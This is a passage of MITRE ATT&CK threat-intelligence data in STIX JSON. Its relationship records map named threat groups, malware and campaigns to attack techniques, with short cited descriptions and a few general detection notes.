2022)","modified":"2022-08-23T18:13:52.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--939c9a5a-abdb-46f9-b774-55015409fa90","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black Squiblydoo Apr 2016","description":"Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.","url":"https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--93addaa1-7baa-4fdd-ab92-3e58865a5ef2","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"1.0","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Orz](https://attack.mitre.org/software/S0229) can perform Registry operations.(Citation: Proofpoint Leviathan Oct 2017)","modified":"2022-04-19T01:35:05.434Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93ae2467-4192-4e69-a63a-00ca8cb055c2","created":"2023-02-09T18:43:44.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T23:34:00.634Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) has used Microsoft Word icons to hide malicious LNK files.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93b08370-9c05-47df-b067-368343dba24a","type":"relationship","created":"2019-04-18T00:26:13.521Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"},{"source_name":"Unit42 DarkHydrus Jan 2019","url":"https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/","description":"Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."}],"modified":"2020-03-16T18:30:11.263Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) uses WMI to check BIOS version for VBOX, bochs, qemu, virtualbox, and vm to check for evidence that the script might be executing within an analysis environment. (Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93b12e1a-7f21-4fa0-9b2a-c96c7c270625","type":"relationship","created":"2017-05-31T21:33:27.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bizeul 2014","description":"Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.","url":"https://airbus-cyber-security.com/the-eye-of-the-tiger/"}],"modified":"2020-03-16T18:54:08.794Z","description":"[PittyTiger](https://attack.mitre.org/groups/G0011) attempts to obtain legitimate credentials during operations.(Citation: Bizeul 2014)","relationship_type":"uses","source_ref":"intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93b303a6-3529-4cbd-941f-4dc71b8e73d8","created":"2022-09-16T15:42:29.451Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T15:42:29.451Z","description":"(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93b3993d-0345-434e-9b0a-4dfd8efa6c99","created":"2019-06-17T18:49:30.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro TropicTrooper 2015","description":"Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.","url":"https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T20:33:35.415Z","description":"[YAHOYAH](https://attack.mitre.org/software/S0388) encrypts its configuration file using a simple algorithm.(Citation: TrendMicro TropicTrooper 2015)","relationship_type":"uses","source_ref":"malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93b62fc4-f024-4482-9ea1-041bc3d29bfd","type":"relationship","created":"2020-06-11T19:52:07.230Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-06-11T19:52:07.230Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has cleared log files within the /var/log/ folder.(Citation: Anomali Rocke March 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93bc896f-d2c2-4d6b-b231-fdc084aeed69","created":"2021-01-22T14:43:59.235Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.424Z","description":"(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93be81ec-3e56-4257-b869-37bcec2c2625","created":"2022-04-13T13:40:56.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.","url":"https://securelist.com/lazarus-threatneedle/100803/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:32:46.851Z","description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) has been compressed and obfuscated using RC4, AES, or XOR.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93bea600-6a8d-4f58-acf3-e7d604eeb451","type":"relationship","created":"2020-05-20T19:54:06.621Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-29T13:31:07.893Z","description":"[USBferry](https://attack.mitre.org/software/S0452) can copy its installer to attached USB storage devices.(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93c02dec-e63e-4437-809c-dc99e82d177d","type":"relationship","created":"2020-07-27T15:48:13.209Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-27T15:48:13.209Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can use PowerShell to add files to the Windows Defender exclusions list.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93c5ae98-040a-453a-a90c-247972f8d0bc","created":"2024-03-26T19:24:28.622Z","revoked":false,"external_references":[{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"},{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-26T19:24:28.622Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used IAM manipulation to gain persistence and to assume or elevate privileges.(Citation: Crowdstrike TELCO BPO Campaign December 2022)\n\n[Scattered Spider](https://attack.mitre.org/groups/G1015) has also assigned user access admin roles in order to gain Tenant Root Group management permissions in Azure.(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93cd9a2c-48e3-4a95-90fb-6436afcfa7a8","created":"2020-05-13T16:45:50.316Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-11T14:44:04.569Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used HTTP for network communications.(Citation: CrowdStrike Grim Spider May 2019)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93cf8ff7-a559-4fc9-ba31-18c0ebdc5244","created":"2024-03-29T15:18:38.784Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T15:18:38.784Z","description":"[ZIPLINE](https://attack.mitre.org/software/S1114) can find and append specific files on Ivanti Connect Secure VPNs based upon received commands.(Citation: Mandiant Cutting Edge January 2024)","relationship_type":"uses","source_ref":"malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93d23383-024f-45c8-9de7-f571f18f7499","created":"2024-08-01T21:56:39.239Z","revoked":false,"external_references":[{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T21:56:39.239Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) has been distributed through cracked software downloads.(Citation: S2W Racoon 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--93d35fd7-3a55-4de1-a568-0fa50f81d594","created":"2022-08-24T15:44:06.579Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SideCopy](https://attack.mitre.org/groups/G1008) has collected browser information from a compromised host.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T15:44:06.579Z","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93d83b03-8367-4655-84a5-9abaee885700","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-04-25T02:48:47.521Z","description":"[SslMM](https://attack.mitre.org/software/S0058) contains a feature to manipulate process privileges and tokens.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93dc5023-3f2b-41a3-bd5a-68121a94280d","created":"2023-03-26T21:16:26.853Z","revoked":false,"external_references":[{"source_name":"Microsoft Internal Solorigate Investigation Blog","description":"MSRC Team. (2021, February 18). Microsoft Internal Solorigate Investigation – Final Update. Retrieved May 14, 2021.","url":"https://msrc-blog.microsoft.com/2021/02/18/microsoft-internal-solorigate-investigation-final-update/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T21:16:26.853Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) downloaded source code from code repositories.(Citation: Microsoft Internal Solorigate Investigation Blog)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93dc6241-29b4-45c6-9593-f7862936ffd8","type":"relationship","created":"2020-05-06T18:10:59.316Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-05-06T18:10:59.316Z","description":"[Kivars](https://attack.mitre.org/software/S0437) has the ability to download and execute files.(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b2d134a1-7bd5-4293-94d4-8fc978cb1cd7","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93e345d9-a7d2-4abd-be34-46211fa64a7d","created":"2023-02-21T19:44:52.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Remediation and Hardening Strategies for Microsoft 365","description":"Mandiant. (2022, August). Remediation and Hardening Strategies for Microsoft 365 to Defend Against APT29. Retrieved February 21, 2023.","url":"https://www.mandiant.com/sites/default/files/2022-08/remediation-hardening-strategies-for-m365-defend-against-apt29-white-paper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-27T19:37:13.546Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has leveraged compromised high-privileged on-premises accounts synced to Office 365 to move laterally into a cloud environment, including through the use of Azure AD PowerShell.(Citation: Mandiant Remediation and Hardening Strategies for Microsoft 365)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93e69cea-97fa-4766-9e45-f0cb15f7796c","created":"2024-03-29T18:51:28.100Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T16:08:07.642Z","description":"Monitor executed commands and arguments for abnormal usage of utilities and command-line arguments that may be used in support of malicious execution. Compare recent invocations of `AutoIt3.exe` and `AutoHotkey.exe` with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands).","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93edbfc7-c1be-4c2c-aa2c-9b15f53f6528","type":"relationship","created":"2021-02-03T18:19:48.693Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ Iran Indictments March 2018","url":"https://www.justice.gov/usao-sdny/press-release/file/1045781/download","description":"DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}],"modified":"2021-02-03T18:26:21.959Z","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) has used collected lists of names and e-mail accounts to use in password spraying attacks against private sector targets.(Citation: DOJ Iran Indictments March 2018)","relationship_type":"uses","source_ref":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93efb013-dab0-4b47-ac2c-0632ac2fea18","type":"relationship","created":"2021-11-29T20:33:48.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T20:33:48.486Z","description":"[Pandora](https://attack.mitre.org/software/S0664) has the ability to compress stings with QuickLZ.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93f1726f-f172-4705-a13a-d5adaeb4e91b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity OceanLotus Nov 2017","description":"Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.","url":"https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"}],"modified":"2020-06-19T20:04:12.448Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has added JavaScript to victim websites to download additional frameworks that profile and compromise website visitors.(Citation: Volexity OceanLotus Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93f1d277-685d-46ee-a796-a50641364fbc","type":"relationship","created":"2021-06-07T13:33:29.668Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 